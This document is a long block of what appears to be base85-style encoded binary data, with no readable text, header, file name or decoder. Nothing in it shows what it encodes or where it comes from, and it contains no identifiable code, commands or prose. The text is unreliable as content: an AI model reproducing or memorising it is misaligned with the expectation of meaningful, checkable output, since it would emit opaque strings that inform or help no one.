zDWPBekAC%PTDCby-8U6j0+}Y(=iONs9XR()nit>fTt)?F#^F;SzeBFNfX@ew&TI(2AM z7v)ENDY&PSxX1ol2IJo}NZ5OvT{TI&+>>%?9^Lp3J`Q!_DK-QkCkR!y-jS9pJ!$@< zW^J#-_>F;19obG9f|%G3kJ=mq?UH{Q66ho`bkCs2Rh@Q6nj>=Zx#AeP%F6IqYts3o=^*cwW&DL^U!VNn39#`kGaZyVGd{-@J1?E0xKj?h5w)8Z?0 z@fm-V@LH=U6R^BP0SW(G-n9R7r5C+wc9)285rlDi&h3Nh{j(xD|7$zQ>i#>S0odIWzg~NKra5*SlN}{~6UhGk zkeJT(D5|2EuESSPGmlsJ?^WU)?Djv_>WAm&e}?BjeV)WyIM(%_iO2cOl}el?KJq$q z>%jg|5tMvmzCV$uy?6gOOnc^noezd;=6`t=7ZW&2@lVAoPS05$Cr$aE zCH*sR+%dlifn^&5ZQcBj<~IM=s*!E|c^a=_;#TBQhn^@a^0ofY%U}Co0G%IgV|mBG z@>+b>Lmd1P@EMQ=Z_SXI*5!#M{;s38VAFXxh-G9Xi zJ_59X_Q`~Ld3yZQ0fVj0C(6|SqXT0ePs{Irn?5QI=F^yoS1?%SnXG|s)`P$bhVr>V-*R%N4$FuD~#W9eNT!qTWFPsXF`Yu^HcqF za8l)|l=*qg*jYv9HT(FV6ePr~qE6tHwHKol&mH^6g@zv~F$Q0jOeAXOnR=ak5!>Y= zXd7uzt%K!tX}!+J)AZ&=LMFgTh0I2*Ubhh^I;y9;)d_ff_RF_dB^l}#01#S_G&;120#pEEhrYi)IsJ%B= zwJN0a{_2aw66k|GuRm6IY@-=HGb=90+AG5Wu3~$1Qo$0JV}+H!x@2(yA>-QGz#q*g zwDMk@&j$xKZ^N@2Ff(|qq&-$BCx1f9Oh8SPXCQJtJ-J||F|E*PF&Qa%)c6sG9?kw} z%CA3Ac7(cfHsrJxXS~ISYy?F1-Kf*oWoQWuLiwEqDE4?x1regTBo7g(>-U9Tb_CfP zSY0L(F;vzJNmV7BnWmV<&lxjY@@61NbdLZIDt+ybZgsWF2zZ3rgHVy|*5GgNUZ+?n z>4Dt?Zjc|)b(LA>|17Tmallnn7gp98t~zo+TAf)B5nfqu4(ZyhTa51Yl*k>(SfK8r z*V${V#foS;$w0R_nA2MA<|$L_hENZYd3CO~$KKJ^!($%NR0(8vRZcAvQ=^z4_w;jCV}G3$n2xb3B!N)H7-t`4)$*KFta zSB*@UB)FVJQn*YASjv;#%T;~Y@Y-GDa9th@8)HjA0CUVAsQsw=i=}s2Io8!|@;jE>^R`zoR=48B&~7Vsa~-ezC--!d945W=--sFCqF? ze>MP8UODX`XuXQ#-Rx#=AV0Vdy)x&r2NMm;(~iwJB6uce`XK9tL7p$T5%?M3D%9X; zCQ-51p~Zi4Hgm8Uh4+Vl|LmxvuB1BV?rZSv+Wl{u&?+l0AysouOq*RIC`R%0hIbJ} zkjDV+Ia)pbb8OKXzupY`70idXYdIWZlrDGxBxtsTheaORz--^ITPDz>6~m z6n{62h0)>7>Bf4*>I8P~D2l6C1p*&4zQUH|_r*ow;Yn60MMOB5;`@}IQGwcsgET*1 z^I>ezVqgVMQ$m3XWTQgxjL!v<=a1^UUUP+@FCH8KpDOX4{W0Uuj$zPA!&@d%hWcdO z?5@3tUgOV;!QI0He#4uH7re|UC;a_civr0@t@^R6867s(2X6#4Az#QGQ5uiT`VIM9 zgCbe19p)Xi;TTLYN4%Q)ATAU|qVePo$;#^)sXzO5{P$#droQuZ_d!$u%<0to7LLZ5A+nr|Pw zm4N7Xn7H{QzbGkMtQTRAP1b{~d`(!+u#!dXWmE_`2<>{|&@Fe1H1l}^0sQ@z9j2^o zEKq*rZg%^L5(l^T+lm|~vQ`d(646KU%GT9x;h%TMg0Dg8uacVo@R=?$|8nz`{*_)g zQ0O3;i!iYNHn>^F@z*Ld^jW*@9b5Y=cD?FNO`kD{%I~kH4n?T_SrEpHrk@ntmZ0F; zSBS9XjEKDkD}f})vGo$2N==KNOh^9LHq_xs=}$;Vm1h*opDN->>f9J=NkWfo8mY&t zrX~j6H(-H;?rLmjb6-O^&%{I7)22HS^t>5iM1Mhd{5COX)Idtv?>V;!8z7}hNB*dI zz+o7x4zU|sPyHvt7wv0jEKgmBgC=n2+F#Jd?#GTet~(9p%zC{vn+6NnT(gDs+W8)f zp(yT5uEAs-j#3FC45#U&eYpwKZZmEmi1%Y8Lmf%zfc3_YF3t|PUh90$@Ql<~;g3ZJ zLSCu1wJa3aMh}>HpfFgm?ryR>y0S@o{7J ziZRsF%YAKLxrG>}@BwJ~b+7Ql0#4A(@&-=b4x?zh*nJeg3o+DipkUm2O7b1v0aopWbQFJuE%TDF(6+QAtO zXoca`(fMqY??g|alHJTNC_cPU_HZUi8AxrxGC(3CTD<#C*7|(mZR%QH@+8ZNkK3n6 zoBqM0=i?@dGBW7z80GS!HWyMl?QVVRtYIwTvrw9aKNOK^#tk1GiX30v{rT2qGkT!S zPBY9j?ARv-uZ69Jip4o%{oY!80*YWhJomPXWKwh%b12?piKTdx43$_Km23U9UO#?a zfEwR&i$wqW8_0mO9X*oiXuz;sX!Hcwk+{bMkJ+;?d4^9x#0OP5a}c^|-l|XcuWP9& zBL-?q;8pMHf6Ryoxg(v|S@P-pdaX}(L~RsW|3?0@*egR2R#A^A9*u9oT)J($! zjQ;s68ho|&bxQHl+(gzyy82Mv=-~zSDKYekvV_)H49y7mHB+0F8AimX%Dok@LAu~N z^l82Db^zcYaX9y1kzRhJ0F&C$sbWW|Vh67`noA*dvn~_7w-W_|5dmAbALxK0!o;W{ zj~*@L`=}}%c|F&1uqDjXLV(X9n@9@p(C zX&UOpqg1^a#d5ZKJz-p0;RoGPO?tSZLH&m%3w&=#QbFO5Aw7v|>cr^HrN3R(DvI^= z%+%vwW|b6=N~u-z>!ciPg@V4!n15ILU5uE+*`R2eva6cKfNDEtT1ZK~xxW{@O`V`W zJA-MhJG8jpv^s=SIOgDyuPyuuk$YlR79EoG+m(F5Nf!}qQrj3qjrjj*)c^&UV? z(k-hhxf&2jOIH<@3cP^|GPLK@A|5Ze)KwA8rm_nt8TeTvcL&A&=gQ2j`UNzb8svU+ zN;^jvy^-V4lf9yPOWae8S1n}Bx-P9*C50(XYsiZu3&&%N7RT`;?>CQpT0+i2Rp-}ww%xsf^5WVqi3%APitW((%Id@B@2*MKS9 z*lgOBYmu-E?~N_b>#CUE)$^v9(LHF4Fs*IMRz_d6Cw{A&-F6e}HFpGso)o{Lbu2#? zV#{7)yAdBn1y*wuQK`x?LhmQ)EHnh{V)-AJi;;t@er2@TF1e&=2X!8%GJ85!T4cDe zq~^JEt`C@M`8L5G=~L$@&4Ysu28QimTzZNnAmG{epDSg8S;KlbOZEqR7$) z_Py9sNnSj%ZhoW*>#e?Gp-7p_UoOToWc^e(zfDcb8aFd=+v&Z@rFhem$2}19VY9vi zLzlnE2*+U8K22I3a;G9wUg{>aX5TXtJP>oabAerF@?nC(<8#3#tuZ+gMUI>}t;jOZ z8X?*f6iGIz6&JeiC8Zu&gXF06q>!OKe!RqQZ9uVDFMtp) z{D^oX{yG?>_8z6SX{X^`*G0y0_ zKJW^`wS?ad6T@jr%+@P!r|-#lDdI_k@0O>2HkMA6v?`<7htGc!#Th0F3Fx?3!!d5i z((2LL^ea8p3RB3^-Z8-ifoQ%SCY(El1O4xvs*cJ|6*wFEWC(=WOYd?znH>6dABWEK zvgL8O{shcZe9j~9<&nfEqfh@@c;gjr)?{w{zWL2Y%^+yM2E3#Y(LLN)`wvhEmM24m zLm8*E;gRQ7MB!uhJ%f)NRe0iP{+wQ`QurEf)Te5i=9;q@P;CfK=INQYQ!Ja-xeqD8 z43{~N+?PilrOxLwqEqkAV&E>cGo#EO>B)gj`VIi^8ou!j7m_~}#n{RFGyF&|OMe|% zKjqDDvi_PUep*kpDqgJNGJ4In%>Z)4$e#4F7TN-+#fY+c(twfA?%|}Vn>Az{83$v( z06Hyw*b9aJL#KTYpaCO`^t zWD5N?YgfG;x~2PNdrF_}T2*DnaJZ)4uDv+XHi)9R^Xkz3!6qHxi^234l%(#WZpPW1 zE~6y-bKCV}MWnw6WNC*1B?bqqQk8>cC*pUH*8#UE6lRU6r)$>0Ag?a4?e_`yS%*al z8+{W!_4kcQ?zA#TkO!y+qll-5JEL-~t+B8Gw#{&pYbQ@k>4(>sV8;$MI2K8pmqbPLr#6BzlFQ0&DBrg` z&cczvg+j0}!742+wl}&qF46(TQt1|d-cK*ZXUaK$p?xWt=42l~-GG~M{pC!nO;w z@2&b-wp?+$z(j1wb-VUWwMw_8V3jsnVv3Y?24&nR0XMdfH380bQ<+&mA167@jnHfZ zeAxGrgeAwi7D40Z$KUi}3rW5+{4CdB0jCVd;uoWl!j98{`#jGAGoe2j;Jd-h1$}}e zu9+g>qoKCk+GvSH?ct^mY!y$lP=9-X*nepGO_+DTf5Y@J$3<**@-N7EZl?L@b-Gs~ z9^G??NnQq|(6qO9)>XL~>io}KH5c>0dgh-nCH1?l0j>sjQ;W6G&C7~GRM~YTF76XF zVk!D7l!aj(>-yjrb2sI1SsB7|A4x;QO9`&VyIKDtDsNU8-yNw#bPv>{>6#6#xWbS- z>5Wd=1z+I}E1B=Brj;Dk`3|?WhzY%B9S*J&Cm65ceXz}vY*cuM)gcgr-^=7l%GWpu zMg>Dp85)2ydSuGw+(F7^0JWQm=^u3eBO=600dH?ku$Yog=oo<4#cr2mnd_!r<)_=2 z@g6}lnnLP}qUzjcBAe2Liuk@+ibilXC!CWM|Fi4#lPsA0474qDsD=oef4T)*hTNvQ zHmT(m5D7DmMJ7BJCKgU33t@UG+#q(64^vWuHW&yF*@yx88rX8oTKTr~cVeBVLN|sH z{$pYKw%(L-4z|oTeqI}goD#kw$V^S?t1=r2aU=x+gM9o!>!9F;Gy0s zknDhzzJp3a?ay*4UByfBSqXNY`H5-s`^c9Hte}o(jgSN+C(qWetcqN$e`4*6HgoUO zu_bFd+%g5$vx&s<2^U5Dm>X znU>+Y<9W6{nY~9IN`n7D~q1A(AEu z%Yf+5o{_Fd!Cgi2}eeT-*2 z2)WYx-f5YdDWK{zBMAQHZcRj^R@0)j(8f4@&i>8Jj@CWlOh*b|RvYWagM~-py>Po~ z!FV#JQ`yTGm8%P7A$}}vpRua|M=GxSNAC*TJ@l8= zcZ5!YHvwQ-Kb06DMC@rQZv?+2X(CL~zTib{81IXQYVHOcCPD~=y1}8Wx;AJ)Jmc&W zm*db=T5>LBzk203{|)ZEDMJscHnmg$$29V4UwYeNW76L0yrn|{IkE(Zkn7v zFGH%u%`~O@{W=P)1!-tFYJ)fsdMEWRsRZ$<1kZ)Y$z!NT1oYg+;}Il?3PR-tL%(+6 zPgP6)bZAbNe4$?tz>U7Z0~``X^C?KvOIifF&}yIx&@Y93-H6)bAPtN30_DM=X|*oD zjaRx-a=}RArk2+gpB$Zono!^;oWAWH<;Aywnr;yD6+4$OmuIWEoU&75f5g8W4Fs`wolJO=J$`V>R*&tAnsu7wy34)_FcP6}srfsBoxT|Eu??;a#K2W%Z9G|0t+i3M&WOjqXi3i&m}E z5JDVBl%0`vfE}KAb%BQNaw4ZjZHr2FL9gZp?Mkf9bUIjvGJ3jv$P5x{nN!CHLfAD` z(bF*eomgJN#mS%%TK#>Tcnqj^5>bk4$?O~`cd1sxf2t>&pilrxKVZMKeZ51Uk^O@^ z6~~p?tzK=CXF1U(p5$ex&8tkR(V}4pqnUBm%0N8-dM$h}U}Jz-?VUV%O&06rFA(OM z=f!Q4yXPVvx0)+&7h~tZ2!0E9L6@*-EE*gqQ} z&rl!xGlZx*ELiU@NU(``S1NpqL*P)@ZmTOYoY~~!`=NmPHuU%|_FG{$ZE@;ZE##c= zb#p*l6q?DR?awc@x9B_(8S9f`rotkQ!Z7Y{J&~dE6 ziEM`uIU%Y3evbKzFj;bT@rWW^tm=q+*My2h*_9yoJEV^<^etCc->0mUJnDJn?yYZ5 z2HanM*hG>jD@Bvz<5C{5hGIq%(b-F5^yWE3!fzL zpsN})>QfcHq>5ikaijSd&8~hry_6FBtHfC~zyN2r?(Le4unAtka+4$Iu~1``J=8BUbSu(2l`l*61Zf9hOhe;H9RK zOIj43@-@E@TjH%QQ2r3(;=SiPEEjXf9BTDk4#J*#2 ziI^6iPAX`}+MpGw%`w?1iw-<`j5*5p@*u^QZT}^-oO1!wt;J1DyQOvi-NAE?E2ci? zgbOuLOQ|&uW!|ca@qt}0c~IdrVT`I9j} zAEIWa%Hj92OpC0%)w$2_wB>~~diwB>YFjqi+7j^ppsANx;}-fgSGsnzZOHAs#+^f* z3djQWn+-aluW)CHu79UlVzL`%iX*}vPYXiI?<>Sw71th{W$BY~lnA&Zb+JoXN#_(r z$GTG#RZ{+>-9s-L^znJ+RzpX;d2Y^=Q&*sBe(9a+{LR;?)m3BBefE*&Bmdg2*Emti zc;qeLeQc*B>DV*X!!PW>$g=G@g$)7bP4pw#%}E28L_3u%2S2)$CUcFpo5Vxz6X~5M zUINDw;}12KW=)jzhy|!fhmK9@+x~ME*FQ?+#MSsGtIB5jhEck)+$3fjo*V|j#09f+ zEstylKT(R!(!V!L=jdLt=B%t&W?HjY(T&-amI7Ge-M`j-MgU-8P`ZR$c1`b*F4(xj z&41DtbBe9-nYi6NYVzh4=493%gxh$+-AHRmf+bY@vAX-@=1#K2>7F&aeZ|hv)@4Ct zTJedq0&1BtJwLBco4$fRJPAFCG2CLO=aI=Nd`B*)S<5PoEarl;5-Q**a*Na)t@;i= z70>@kor{&}P**2OvRp-6^j825MK*MN{FB|E1B5RF?SxG}0X;uRl6dMa(RGa(8sD*b;KTZwu z1Nex%81M)1CkguVI-R8S%I$a($SGy1Op0mrg@yr|tV|iF)fi z+K(Lh5gbR5Zo=9cUI+bqM%bWX@b{a~Z9E0@DQ)iG>kHZwm(Avi?VA&M7@EByEK+Zs zMjKpx^5}k-%D(a#Bw#S=n|v|2(Xj(UY3j^!an!7U_No8L9017R4b7rD-XXWWPU zvqJ?BQct|Q08P=b)ya2h*sas3_y33&k%@$@t2)k1%suD1eBpZb)kq)=O+o>Ax+)d) z$(j<*Ug-C~RX+{wfSZ^6UlUM*elT$hhk5@2>^1+6gykkmZ)40Z)djwdzZX!l zgS9;Bi#_vDK#p3p*t(1+`nycT^)Dt6xwhG4v%u39|XbrJoo%lC)$UQ#bM_O>_J%x zZIs{VN^hlle*oa-V`k9x&pbh)mxO4(H>iKQq_tf8@PhB4De|ve|IY+XGm3uzi`J7X zDgSje;ZSI*&#E_On&VG`k5>Af#IXNWLt6Cz^D?kOk$tn&I_?~p|6gG@40qVz(d7=5 zCO`xs$f30^b+9fy|1}|CxV;C~g<}($H9>9+&y8?N(hU)#`4}fx?zh~oUhCwa* zGY-oT?e_FnA0NW&-2Uywca2wYQ6s-efE6||_4UMJ;v|k@43o2HfAuK zwsfR=zYJKdS?cHjw}2gO6A=lnfRDsi!Jzjki7ibUJju_0Ps>mv%_s3g>*|WK6^_pW zq!QQRXdV7vPrAZe-V0Rz0Ju}nb!D3$n;9zxb4fbHM0R_BO%rCG&Fhbz^>e#Zn6Nc# zbY6@PMCd!6-|ep;9(tUnt?*W-HJ>;Vu1wbnnd0k zj!0SW=k`#&dI{!9Zp|}qlaD6FeRKuh0SkO<>e>Zu4-J%_#G`Wc1tp5IW}Z;Dk*m3g zn@fko)$=dbftI!7vi64WkvTtdJoTRr;^;GM)#PHDE*cx^r9WWSp~^kYYdKAh$T3#smgXF z2z}`jQRvb&T2d%+h;V|5X0liE_4!K4^?_+;ztz$_OE2))Npa@prwiUA$nX)$d!0tg zE5zDSM8MhZNp!W0OW6%cl*39K1CU-~Lq*0V-R=?_eD#nFI^+CGjdUsuo)10isKgU7 zKD`FX$tlb3z$Q6Tyh7rNvc@LIsoqrt;qurf!bC2{=2<~1wmg3R{Wabl)vY0rx?NTK zNj>TuRE11RBRwzk)U1yA0gjHnSM}SEi0{J=bl&lC(jr)#((O2q*%jQXtx58F8zX*S3;)^hL z#wV#(9ni5HW=%qvA`b8Jbf)F8CV@6SF4fwi&_GP>vw~1%v*`K-D-q5e{j6_p!sPOV z`%A6_h%VaQ^S~Rw%mIZ18CVFin%NcCW8b_BQIT&C!OMRjkU2dvj{Isq{IHhr*yZfD zs@+uI$*K&X@We8FE3Lq@ARpo6EU9I0@kEKBiPglwnS=QyJH;+6Hc$`Q4&6pt=m7y-@uWMAS~M-n-cj+Z^&TXV=M2yqA5yZhDe__ z*|pO;wU11l(u}($Rq;?2(uS7y{U+a_VhT0=N$0M-%otj(v&n&5Jxyfxc@GMd&?VWa zbPLT^wQiiyCHl26Ob_yuaosqcLg}Pvjx^^uveY^?d$Zm7(^I@@*FB9)g{F6p3~Zow z`nqZ#yRuwaOGNbWEtXLP_Q?5;y6aCq^lI?HKlwvZ9vfC1It^_F2YB3Btw`L+4a$n( zhet847DqYV0;V|{92zW|(SmViUz+w4hKbAKLk}f|tMaj=cJ!7UItu%X;xMwhMN4rg zN@~xzuZ8B4>F6gi68A_4kpd3vUa!-_BSNK*-;hpX^$r4@*B6pwcKCPVa>o%*Sr`;9 z(IQ;w1RO9SrbV9f+oXIlXg=uw0W=95TB;(fKVHkscYvnHO$Lp$BiJQ7rzP4y+sDG2 zk4hyTj0|={mCw<%1%1d!7Vdvhtz*Pzr%hDFg|pnkh)$@xnk$ndvD~y08bt^v!0tP9 zB2-?gbmCQg6Ss=SC%WFMi0)5RV2@1QkSz$eamiCtL+6oZbSsdJ%v7lHT7kYx`7$0F zKqH~YumQ(0k`|6sD`5!Gq%{`tQ7zlUJR7^zy;3Z!y~HFW^=gx^-Jbl)afNWHfcqGhLJXZvOdQo1$WQT>m4)$bKVkUh?9-N(hYsm1 z&70PJAvxy~ccgcU=rX2PqM{)Zr)I}{bY~R$)Di>p)~u^(>EtuYn~Tde+KL!c*w=8R z&Q9c>l7s#LWbdni;!57;dXf#aVri9meiU!{no5G0Th+WPRN#s)R+nD~IMXqyU=Xco za7*QH=9%k2vhmxc=0vsi`7vC7Wm!1a>~kK{r9=;y+P_tRdP#pqZ9(lz$+xQ!`Ybj% zH|RAhvq@X)3{UDZ+e;+m-4!+WpY7jcc6)-WSv^ zK0lO9;ipQj-zsl&t3Ob{B=$SCo5u=|YDeYEyV5K9mnnzj5@5cg&K?6HvN=fMg$32y zpNpENWIbOe6oMY6co*W31e|j($}Ye!)Xwcb!6LzR&EKOq{`T|cZ&jL?p&?uDA$#Cy zTI&$I(~|DQ&)xZ7?>Awi9kM=I+=acA!*1Qiyptoo$Ag0n=s88=^Njo#pI6YcJ|p728|WnXPbMS zfvW>Wk_#efYwb6-r~2Qzp~2zu8Bo8%AFy;C~%#_>6V`-Z=#O?(`j~(c%kz^ z)wsT-1X&^ruhTCeJ@J|3hX1pH0@v1U?CKTwUnR?8asnWE-17-b4Q#wKUsKa*bjXcu zT)5et;a7s7Q?VUie4FSU z$=7S>vpxO>!K~5P+<$eaq}8-zz>84Z>|P* zUY1aC;ZQMLd|0oc1+N2XdE1Tgsk1>`EM#0%Q(MAApTmxHYS6?(*a{)j(DV;@kB@cI zcpgq~#OQ7CD=RTAiX;JU9w_NABVUAtfoJz@CnuX;$o5Wm#9j~7oU4rtTqgMVR76Q? z)Nq>OKTp(Y9-bwi=?toIKCI{!dwsVR#ZI4{8f{M`ePG7nbn3Zivy-9{IZseb2jxy9(d=kGd&k z?|aEtyKwf}{95(t-FdYk-WItQ>7X-3^$A}d{Hv8`ZDZ2m+M=J5$rW0{UT6IiyyITI zr~mFT*kE@f>PEF&ml?IMQLX<}iv>Ilq%g^{qMCJK99$l9)|IRiRVYAdSi0J8u#x#1 zwc5SA5_O~7tx5V0p4szP@-;qZXp7DQ@P5>t&#$pPe zjlXih=0v%^6#wVuC_nzHcP_3)T57_7pL7<+wmom@*YxI54srkSMd{Pye|!OM`1r3y z$uo&-aGFf}-s+P+Olhi%S%ALICK2JiE=X&h!g2?N}q z$7^!dLoGR-i{4Dz{1Vgk*C9W6egAFvqiD+s^N2E7F6Uc*HG0BvlFqZ4^wWE-gj8k5 z!*4UI4r()SAlmW8g&u~v5%%2*ytd}UsDAGQJMhg~4gMYKszzSV7Q4mIcNQ{fkE~3jM_A~YBNfe03PS$6B|Bgte&sZ{)i>ROHt7bYy zB1>Cq)NO4&wHvTCkOPkUBp%pSp(QlU{uHQ(nCz(0M@2P4QD_r;Uzf=p<*c>RfKwuO zB6JOvBWLs~>QMZuR&>!S0AGIAHXFJ75NycDO}8++l{WlwOnbHUctFRf?~&VsH~B7Z zCq1vb5QQ~~rA~v9M5UolXXFzL)W|1q>4g!YM$kwR>2G|BufhcLPSrNRaN$711%OC% zhYuP~Lv{*psnhca@9kV(hZVaYrh}Jt8!KB6;@G~K3?;t||7{p+{)=>Xip>Uu2JW(- zG>{|*kIv}JNw%31!NRH@E)OlI`=v@YjcG_;e6h;-rrjimyeTu+fl73IV<0jJGH-{% z^4kpHG^A^3O&}9%&?2%bJ#9*=u73604w3x{k-d)Bbx?{m)mwvM*~hsMzQ5(#jK?FW zt!j|8g`GPaN{7#!R`c|Gt6r%{&GBJOBRY3%^Zv;yWVd;C5+z>|r=)S$O)J$yH`6|f z+5ULr++GgL5`J|=Z2OYwo~y3L$3e=X{++UjpYa#I%sp=KZ+WFvy_*C@KObZCYyvWt zDPEGtiM{9@%-x%~&Yq3DE4So32elp*lZhM_c{jSa{30<*5oKGYOIz-|r#W1w~juThsER4r8fDSl`EXpB( zl$L-eAGf1(gOhzC-^)W-S4h&#-pgwuRsMReY#(tn8*p4;717hfMidc{;v7KJmcJM0 zMzO1$sMAAt;vvifuJ57MGlnCh1gPs7vkxe3BP<9aUb-^AsvNrc9fgab2;-#qnbHT{U@TkKUr^J!YS z0)b~}PV=8JaO(M`WtitaT%E)#h$UWJL1hf_!ijj*Dwx+>mHtp}Lrt8v&=X%xv~R1o zmk4~xk%oArK!%fl`O$-cU;IS3jH0`Y+g|#Kae%MKPR1&Tr5lh7^|{`dT9d4Cnedhv z+ES-LMQ2{%S7P%{G(q5Tg!UnqK$a)9uDwz-SJzL8A-;_j80vs6htfcG53QE2B*ao= za^CQ6AuzAyhXB0C%-UTlfA|}G=5?ZX^1)VX#I~@iPXWz(kTFa2jFM_omz+38VZm$A^Y?E7xx4;l zH1fs4;M&}&*qD%wy87fbrq;FJ6uU$2%AtgseI6=ud`qfd=@f?flq5ylb-*?^Mtu;j*y<6!5&S&B?4}6SA6Mvyzj5W7tR{Y+8?CgH>_NowG$Gv-j~_y5N4{$ zWqT)=LN37#-KE0StIsS=jJ4QLIGu65P{^+-N^c}Di3$!&PT*ls3U4I(SoX6!uraoq zy5*?n*d)(*(^@RuhbbjzP$ z+@}{V_txh}7j7Uy{3%ua zrO*}ZpFH+JamSF?A6E#(G&4qi3g#&BTGrvezvZ5$;GfoQ_J2m4!(-oe^wLz@@ee$ms*xz0_ry{d^X$Rxc!Kod}p-0<40NtvX^!m65 zi|6mZQ7lnje}QF(y?SqNCV~Wu!1yAX>qbp-5usnw(h0G<+x+)FJ7*l)xC1cvG+EL% z`}^!G+v|Ys?2FJp{IwR;lEvT{<|mxc~MH2FAc; ze8$b?T=YiTw|v1{#&_`xh}8!?!Eta3R0=)ppVtKMzIoc(QIT+~gK@3FS!`$AW|FUS zt!>PA|AxP4_#yZYV4Uk2r`ZX4GtU>Zs;_p0yqvMo-n$2IztxI8Z>JS=tFbeieo93V znp6?D)_S%o8_uq)J|?(IS5WvVr(V&z#HX5I?X(m;OK5o!^Q_MO#y%m}P~)67%{};O zX|orm=JBYePR`y|!UL%IlJwIVLQSBh)lIEIHE0ZUT+zq0x{lf!rZ?bzt;|XFp-~et zuJf~xE|vQU%6P&hW%c2zo>8vKxMold_O|$ z9G;55l4*SKr{)_5xS94oMK`5uw}!nZVWM>70GH7lByGb;TX&F9s{~G?&&`}H=Ws8l87ugtSIeEJL7F^`OPF5 zrLCwxla#D#3USV1=~1L*J4Q_DkTtow^$vBGz)#N`5?~{I$fGri!Z_txyA~+rzvUqre3xXSCpApi#A~T&KaMnN56}cuu+RZs5umf_DlO5 zvYkT@-aWQ{9`Z18;;Y^hW-Gn3%tulUv8`oouY6Yks(Rv&hA{7pI0bFd%>EEHHGv1R zYjWWa%U&tibc-$Rvmo{haCKulYB)~Lyx;HD3GX!-ucji2mn0j8h7$^#Uz5b_SJkd{ zTGbS*ddlbDC%C$9RnYDm;K6YUGlmp(q)tW6$3?YFJHP#aFSPT20My<`X^|4&s`vWH zAhdXD4{+4n+^E@-C5>_TZ1d*SQ!%P~<+bp%K=Cnob9*-D;1yUmxcpeGEl@WCdzG@DF=wY=-{4K6kLy^l8x3HD`m6k z2`XtJvYJM!j{<&}U+Iau2g81~DGiQit|7lursVG}j~ktkj7(x8S!53=Q~^BO16x5| zg-QeyHd;AWJb?gatF>y{tNKyylWcaQNiRqe`|~g56lf;JP#i#NUd^LPKt4}jfU14fS z^OcK{1Sz!%*U+;Ru@YfH2`?Kdq!*bq@^g=k^6lkeA-%Svt8S_(D&nNrjv}NjUGp($ zNTpEyMRKd_5|MQY4Yby5dbm4tOBDhApLAJ2#wMhR+7~L|GEZUlgd7H;v;jGkl70s3 zfB(r2y8)t%#o>;>s>qrgmCOh<@tkY?wwIJ#?mRJc#Du{+804)-b(DtEk6O81m59jd zi*X_9LOsoSqteAgkHG#i#ZgB@@-p|fg7KE81ir~1gZ`VtKX5P1=5>)J2rBAJ(HDAj4a7Yjh?1d zBsPx7>3FX>YhkGNN;|OEL>HULe!4i8n^uRX`cf3+2j831Hh1RY%%#41?lx7L$sDra zF_R<3^+tPijk`V;Cs4lFfpxzk+)6$`VDH1qGM&kdAA_aB@+D_xv3=_r zLAD`TZV;3$Kl@#3Ig9;-*q&5#cD}xHo2>sRqXdh?e2VkN9&lm{Y-sjkvYj>EKg%Fc zi3&3Y!HtM<=LLwv>m>Ch!Un=c=(MYRr4{_J59jniTknUoA%nsmqR>Cjd6a8`xdmk5 zhBphN=u?gtc@$=GW8d{8EmZ|d6uUx!cu5^Fr5M`5ozc~ir%c7B)wGd?#(YWn>)Qtz zAOiGTf285Bn7>?|laV9IG4soW!G-Rc$$=y>0?`o%Js+;bsVmOKCg40ywM4He3$eul zDd%S5r3sY3Uo-~_K$D3fgEU0Hx<68#uy3>~^U1^rR-=OaLu-9#2fyYsP_PBaXpTdE z{z6F-j%m551IDTY44C z%CCPr)k2nY7zsRL8KS7^9bDId=;Wd`>KM|r#C-ldLP{A6(1}Ew9)A2F)_X_@lemMk z$v$10P|}ZIc1{qWfUVWCRniR$DuwkXjANN5iw(6E$xpsJ?~I!=2y|+^guEC*wp^D% zI5>&*q6xr65o$E3LsWDON$raB4vcm;K)WlMH8n~ZA2&RQ1T(Z^5AvyfSy7c293Y~L zM+QAwTpgW&n>5uW<&7PO39e?OVU_ku`j+206c568!UMO)24xYF=aC1E)t>sU$}$Gk z#C;D;3Weq}%fsr0k-Q0M~SU-sOmwig( zB8!v~B)L*(_QJC_b>f?jOvPoAFD;1HO*j3Xw33(=J`7v1Nx|QOGq2Q@784~vW*i=)jcaRILccQG(0*_#&UHjc)v49D_? z5Q^7>=6U&-TX&+^{sX9yU7PkHg#^Q=jF;OpONWuzVOu3urfqW zu~seM9jW~IzI7VdFug#y>b94Kl|$RC-SbHZJ7`wV^t)QtBVE$Wcxxe+K5dk42pePv zmMQmADU3^H89&|Y^lyX6G-w7?Eq(Yt6A-h4Ta}xb4dXb;g4KWx@Dzp{{>1t=`J}>^ z?-C|5h~L8T1eB@i(Wh@k7q;!~qIpy)GW|>U2Fng;6Vx%l`a2g(PfsA9$UpE=j)$H@ zfkS+wTu%O(9AW~R{Z@^koY8~G`uSe2tk6_~^J?x^ydV^Bfsg-5_k->vbm5I+VND`+ z({a zENv5Lgh+9e@Y0uDRmD$Fl%Mbxu6gK&eq{i;gJVpH@$m=;WD9?Kt2K$sdQ_uzvjL_T zl-|e}=EX?&Cpfp5(rsf&;@M@ov2G7q44tVtjDHuL>Yfy}pmi|X*_laGgp_YBGt9uE zmSXIokd{TCAjDwqs!Pw6l2jp%Ek=*?@nO*>$Dp7Fq`fGI%3_*lZ|e!@xU>RshYu2@ z&dw-;-z9Q{wK&s8r?w)da1erFlw4TR!^gI`3mfqJ0kPvpaN>{DtE>$L9++`bEmZ|N z`lg&#ZHhLgm&b;HT1jE%i_qYFOWQZxF_La792oXXZG>wvvViaZv;K~}Pf%^C#n^w1aY8)VuMN>}%>3%dFohjmlxlf61?t?w*2R6!rmRUf|W z=@OzuQptOyJAh*3Z#%3bk7cPTyOeUKre;bs@gUT1C$w#4Xny5Z$VawYM-P;|CT^9v z*uuilH_d7uHGWzY7!Y{Y%L=qt3i}eU{*xxocaP^*5N*aJD3Gl|BOR zTH4L1SF=Zo$|Q&L^1obi;I$Mr?N-r5pn`1H|BMG z!K4ewv=y@e81h6KhF+9H!Q10bGZEb)!ca6o3M&tP1DCENKg}lm>u2flF+TWW+jfh6 z_fFeS`ZJIf$9 zG9i}E2EO7s07@2yT#}ImIVmPNXzfbay3sA$s88(Iad5Clw+Q#1%?3cZ4?ybL%Q=U{ zR4MHf5c(}K@HgaS?r#k9co+X8btb^|JT<*t58~87S7CoyGp*1mgqy(;kdG)@(a)2} z2*?QL{a=(!Hdn&u$-HLwDu5gR-J_8~SnxOgwtm3}rd~U1>*gjCl*oFyE#TltO*f5IcGBsD8e0;co!^<;{FKl$dHRzE;Xv zS>vrCO{~I(<8wop7v)QnGbn8)uQJHs4>&lek`Si-b(v9{J$l?wr<4N1^v+U)Z2^HW zt&|7L?u5bzfrjNqxCY(w1H$c2{4>c*MP2o|&Yj6(H*!v#RCjP0J#J;q@>J^w11tp0 